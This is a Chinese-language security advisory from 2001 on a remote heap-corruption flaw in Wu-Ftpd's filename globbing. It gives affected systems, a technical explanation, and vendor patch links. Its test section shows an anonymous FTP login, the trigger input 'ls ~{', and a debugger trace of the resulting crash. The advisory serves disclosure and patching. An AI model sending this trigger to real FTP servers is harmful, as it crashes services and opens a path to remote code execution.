xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Wu-Ftpd 存在文件扩展导致HEAP破坏漏洞


发布时间:2001-11-29
更新时间:2001-11-29
严重程度:
威胁程度:远程管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
Washington University wu-ftpd 2.6.1
   + Caldera OpenLinux Server 3.1
   + Caldera OpenLinux Workstation 3.1
   + Cobalt Qube 1.0
   + Conectiva Linux 7.0
   + Conectiva Linux 6.0
   + MandrakeSoft Corporate Server 1.0.1
   + MandrakeSoft Linux Mandrake 8.1
   + MandrakeSoft Linux Mandrake 8.0 ppc
   + MandrakeSoft Linux Mandrake 8.0
   + MandrakeSoft Linux Mandrake 7.2
   + MandrakeSoft Linux Mandrake 7.1
   + MandrakeSoft Linux Mandrake 7.0
   + MandrakeSoft Linux Mandrake 6.1
   + MandrakeSoft Linux Mandrake 6.0
   + RedHat Linux 7.2 noarch
   + RedHat Linux 7.2 ia64
   + RedHat Linux 7.2 i686
   + RedHat Linux 7.2 i586
   + RedHat Linux 7.2 i386
   + RedHat Linux 7.2 athlon
   + RedHat Linux 7.2 alpha
   + RedHat Linux 7.1 noarch
   + RedHat Linux 7.1 ia64
   + RedHat Linux 7.1 i686
   + RedHat Linux 7.1 i586
   + RedHat Linux 7.1 i386
   + RedHat Linux 7.1 alpha
   + RedHat Linux 7.0 sparc
   + RedHat Linux 7.0 i386
   + RedHat Linux 7.0 alpha
   + TurboLinux TL Workstation 6.1
   + TurboLinux Turbo Linux 6.0.5
   + TurboLinux Turbo Linux 6.0.4
   + TurboLinux Turbo Linux 6.0.3
   + TurboLinux Turbo Linux 6.0.2
   + TurboLinux Turbo Linux 6.0.1
   + TurboLinux Turbo Linux 6.0
   + Wirex Immunix OS 7.0-Beta
   + Wirex Immunix OS 7.0
  Washington University wu-ftpd 2.6.0
   + Cobalt Qube 1.0
   + Conectiva Linux 5.1
   + Conectiva Linux 5.0
   + Conectiva Linux 4.2
   + Conectiva Linux 4.1
   + Conectiva Linux 4.0es
   + Conectiva Linux 4.0
   + Debian Linux 2.2 sparc
   + Debian Linux 2.2 powerpc
   + Debian Linux 2.2 arm
   + Debian Linux 2.2 alpha
   + Debian Linux 2.2 68k
   + Debian Linux 2.2
   + RedHat Linux 6.2 sparc
   + RedHat Linux 6.2 i386
   + RedHat Linux 6.2 alpha
   + RedHat Linux 6.1 sparc
   + RedHat Linux 6.1 i386
   + RedHat Linux 6.1 alpha
   + RedHat Linux 6.0 sparc
   + RedHat Linux 6.0 i386
   + RedHat Linux 6.0 alpha
   + RedHat Linux 5.2 sparc
   + RedHat Linux 5.2 i386
   + RedHat Linux 5.2 alpha
   + S.u.S.E. Linux 6.4ppc
   + S.u.S.E. Linux 6.4alpha
   + S.u.S.E. Linux 6.4
   + S.u.S.E. Linux 6.3 ppc
   + S.u.S.E. Linux 6.3 alpha
   + S.u.S.E. Linux 6.3
   + S.u.S.E. Linux 6.2
   + S.u.S.E. Linux 6.1 alpha
   + S.u.S.E. Linux 6.1
   + TurboLinux Turbo Linux 4.0
   + Wirex Immunix OS 6.2
  Washington University wu-ftpd 2.5.0
   + Caldera eDesktop 2.4
   + Caldera eServer 2.3.1
   + Caldera eServer 2.3
   + Caldera OpenLinux 2.4
   + Caldera OpenLinux Desktop 2.3
   + RedHat Linux 6.0 sparc
   + RedHat Linux 6.0 i386
   + RedHat Linux 6.0 alpha
详细描述
Wu-Ftpd是一款基于BSD ftpd的服务程序,其中存在一个远程Heap破坏漏洞可以
导致远程攻击在目标服务器上执行任意命令。

Wu-Ftpd允许客户端提供"文件扩展"模式来对文件进行操作,文件扩展也用于各种
shell上,此文件扩展实现上存在一个heap破坏可以导致攻击者执行任意命令。

在处理扩展模式过程中,Wu-Ftpd会建立一匹配的文件列表,这些数据存储在heap
区,由malloc()分配,globbing扩展函数简单的返回指针给列表,其调用函数进行
内存释放。

如果在扩展模式处理过程中出现错误,内存会被分配并需要设置一变量来指示出错
过程。调用函数需要在尝试使用这个扩展文件名之前检查这个变量值(之后会释放
内存)。

当部分扩展模式被处理时,扩展函数没有在错误发生时设置这个变量,结果导致
Wu-Ftpd释放没有初始化的内存。这里就存在多种利用可能。

如果在Free调用之前这部分内存包含了用户可控制数据,就可以导致任意数据写到
内存中,导致函数指针或者返回地址被覆盖而执行任意代码。

此漏洞需要匿名用户或者合法用户登陆。

测试代码
ftp> open localhost
    Connected to localhost (127.0.0.1).
    220 sasha FTP server (Version wu-2.6.1-18) ready.
    Name (localhost:root): anonymous
    331 Guest login ok, send your complete e-mail address as password.
    Password:
    230 Guest login ok, access restrictions apply.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> ls ~{
    227 Entering Passive Mode (127,0,0,1,241,205)
    421 Service not available, remote server has closed connection


    1405 ? S 0:00 ftpd: accepting connections on port 21
    7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
    26256 ? S 0:00 ftpd:
  sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    26265 tty3 R 0:00 bash -c ps ax | grep ftpd
    (gdb) at 26256
    Attaching to program: /usr/sbin/wu.ftpd, process 26256
     Symbols already loaded for /lib/libcrypt.so.1
    Symbols already loaded for /lib/libnsl.so.1
    Symbols already loaded for /lib/libresolv.so.2
    Symbols already loaded for /lib/libpam.so.0
    Symbols already loaded for /lib/libdl.so.2
    Symbols already loaded for /lib/i686/libc.so.6
    Symbols already loaded for /lib/ld-linux.so.2
    Symbols already loaded for /lib/libnss_files.so.2
    Symbols already loaded for /lib/libnss_nisplus.so.2
    Symbols already loaded for /lib/libnss_nis.so.2
    0x40165544 in __libc_read () from /lib/i686/libc.so.6
    (gdb) c
    Continuing.


    Program received signal SIGSEGV, Segmentation fault.
    __libc_free (mem=0x61616161) at malloc.c:3136
    3136 in malloc.c


  
当前SecurityFocus 尚未发现有任何攻击代码。

解决方案
关闭匿名用户访问。

Redhat请升级如下程序:



    Red Hat RPM 6.2 alpha wu-ftpd-2.6.1-0.6x.21.alpha.rpm
    ftp://updates.redhat.com/6.2/en/os/alpha/wu-ftpd-2.6.1-0.6x.21.alpha.rpm


    Red Hat RPM 6.2 sparc wu-ftpd-2.6.1-0.6x.21.sparc.rpm
    ftp://updates.redhat.com/6.2/en/os/sparc/wu-ftpd-2.6.1-0.6x.21.sparc.rpm


    Red Hat RPM 7.0 alpha wu-ftpd-2.6.1-16.7x.1.alpha.rpm
    ftp://updates.redhat.com/7.0/en/os/alpha/wu-ftpd-2.6.1-16.7x.1.alpha.rpm


    Red Hat RPM 7.0 i386 wu-ftpd-2.6.1-16.7x.1.i386.rpm
    ftp://updates.redhat.com/7.0/en/os/i386/wu-ftpd-2.6.1-16.7x.1.i386.rpm


    Red Hat RPM 7.1 alpha wu-ftpd-2.6.1-16.7x.1.alpha.rpm
    ftp://updates.redhat.com/7.1/en/os/alpha/wu-ftpd-2.6.1-16.7x.1.alpha.rpm


    Red Hat RPM 7.1 i386 wu-ftpd-2.6.1-16.7x.1.i386.rpm
    ftp://updates.redhat.com/7.1/en/os/i386/wu-ftpd-2.6.1-16.7x.1.i386.rpm


    Red Hat RPM 7.1 ia64 wu-ftpd-2.6.1-16.7x.1.ia64.rpm
    ftp://updates.redhat.com/7.1/en/os/ia64/wu-ftpd-2.6.1-16.7x.1.ia64.rpm


    Red Hat RPM 7.2 i386 wu-ftpd-2.6.1-20.i386.rpm
    ftp://updates.redhat.com/7.2/en/os/i386/wu-ftpd-2.6.1-20.i386.rpm


    Red Hat RPM 6.2 i386 wu-ftpd-2.6.1-0.6x.21.i386.rpm
    ftp://updates.redhat.com/6.2/en/os/i386/wu-ftpd-2.6.1-0.6x.21.i386.rpm

Conectiva Linux
    ftp://atualizacoes.conectiva.com.br/

OpenLinux 2.3

    ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/068/

OpenLinux eServer 2.3.1
    
    ftp://ftp.caldera.com/pub/updates/eServer/2.3/064/

OpenLinux eDesktop 2.4

    ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/058/

OpenLinux Server 3.1

    ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/020/

SuSE Linux

    i386 Intel Platform:


    SuSE-7.3
    ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/wuftpd-2.6.0-344.i386.rpm
      d1b549b8c2d91d66a8b35fe17a1943b3
    source rpm:
    ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/wuftpd-2.6.0-344.src.rpm
      9ef0e6ac850499dc0150939c62bc146f


    SuSE-7.2
    ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/wuftpd-2.6.0-344.i386.rpm
      4583443a993107b26529331fb1e6254d
    source rpm:
    ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/wuftpd-2.6.0-344.src.rpm
      aaee0343670feae70ccc9217a8e22211


    SuSE-7.1
    ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/wuftpd-2.6.0-346.i386.rpm
      347a030a85cb5fcbe32d3d79d382e19e
    source rpm:
    ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/wuftpd-2.6.0-346.src.rpm
      aa3e53641f6ce0263196e6f1cb0447c3


    SuSE-7.0
    ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/wuftpd-2.6.0-344.i386.rpm
      e34eec18ecc10f187f6aa1aa3b24b75b
    source rpm:
    ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/wuftpd-2.6.0-344.src.rpm
      fafc8c2bbd68dd5ca3d04228433c359a


    SuSE-6.4
    ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/wuftpd-2.6.0-344.i386.rpm
      2354abe95b056762c7f6584449291ff2
    source rpm:
    ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/wuftpd-2.6.0-344.src.rpm
      507b8d484b13737c9d2b6a68fda0cc26


    SuSE-6.3
    ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/wuftpd-2.6.0-347.i386.rpm
      9851ad02e656bba8b5e02ed2ddb46845
    source rpm:
    ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/wuftpd-2.6.0-347.src.rpm
      5d7c4b6824836ca28b228cc5dcfc4fd6


    Sparc Platform:


    SuSE-7.3


ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/wuftpd-2.6.0-240.sparc.rpm
      2d19e4ead17396a1e28fca8745f9629d
    source rpm:


ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/wuftpd-2.6.0-240.src.rpm
      bdb0b5ddd72f8563db3c8e444a0df7f5


    SuSE-7.1


ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/wuftpd-2.6.0-242.sparc.rpm
      f6b04f284bece6bf3700facccc015ffe
    source rpm:


ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/wuftpd-2.6.0-242.src.rpm
      1660547ac9a5a3b32a4070d69803cf18


    SuSE-7.0


ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/wuftpd-2.6.0-241.sparc.rpm
      1bd905b095b9a4bb354fc190b6e54a01
    source rpm:


ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/wuftpd-2.6.0-241.src.rpm
      597263eb7d0fbbf242d519d3c126a441


    AXP Alpha Platform:


    SuSE-7.1
    ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/wuftpd-2.6.0-252.alpha.rpm
      e608bfd2cc9e511c6eb6932c33c68789
    source rpm:
    ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/wuftpd-2.6.0-252.src.rpm
      34915af1ca79b27bad8bc2fd3a5cab05


    SuSE-7.0
    ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/wuftpd-2.6.0-251.alpha.rpm
      86a7d8f60d76a053873bcc13860b0bbb
    source rpm:
    ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/wuftpd-2.6.0-251.src.rpm
      9674f9f1630b3107ac22d275705da76e


    SuSE-6.4
    ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/wuftpd-2.6.0-251.alpha.rpm
      2501444a1e4241e8f6f4cdcc6fd133b0
    source rpm:
    ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/wuftpd-2.6.0-251.src.rpm
      34812d943900bdb902ad7edd40e1943f


    SuSE-6.3
    ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/wuftpd-2.6.0-250.alpha.rpm
      429a49ef9d4d0865fbb443c212b8a8c7
    source rpm:
    ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/wuftpd-2.6.0-250.src.rpm
      76467dae0f460677ba80ec907eefca28


    PPC Power PC Platform:


    SuSE-7.3
    ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/wuftpd-2.6.0-277.ppc.rpm
      a381269b3e2fc43fda59e4d08aef57ae
    source rpm:
    ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/wuftpd-2.6.0-277.src.rpm
      7cacb696a88e57a843402a796212aee6


    SuSE-7.1
    ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/wuftpd-2.6.0-277.ppc.rpm
      bfc39be2c09323d96f974fdd0c73fda1
    source rpm:
    ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/wuftpd-2.6.0-277.src.rpm
      e2681b2ed4801ce14b5dfb926480ac51


    SuSE-7.0
    ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/wuftpd-2.6.0-279.ppc.rpm
      19f989e637fd9b6fa652f8a4014bb7b1
    source rpm:
    ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/wuftpd-2.6.0-279.src.rpm
      76c493a915691c51a2481f0925e8ce39


    SuSE-6.4
    ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/wuftpd-2.6.0-278.ppc.rpm
      ad29cf172bbd03a5e1f301cf6b9404e5
    source rpm:
    ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/wuftpd-2.6.0-278.src.rpm
      82338702692eba599d8c3d242aff3d1a

相关信息
参考:http://www.securityfocus.com/advisories/3680
http://www.core-sdi.com/
http://www.wu-ftpd.org/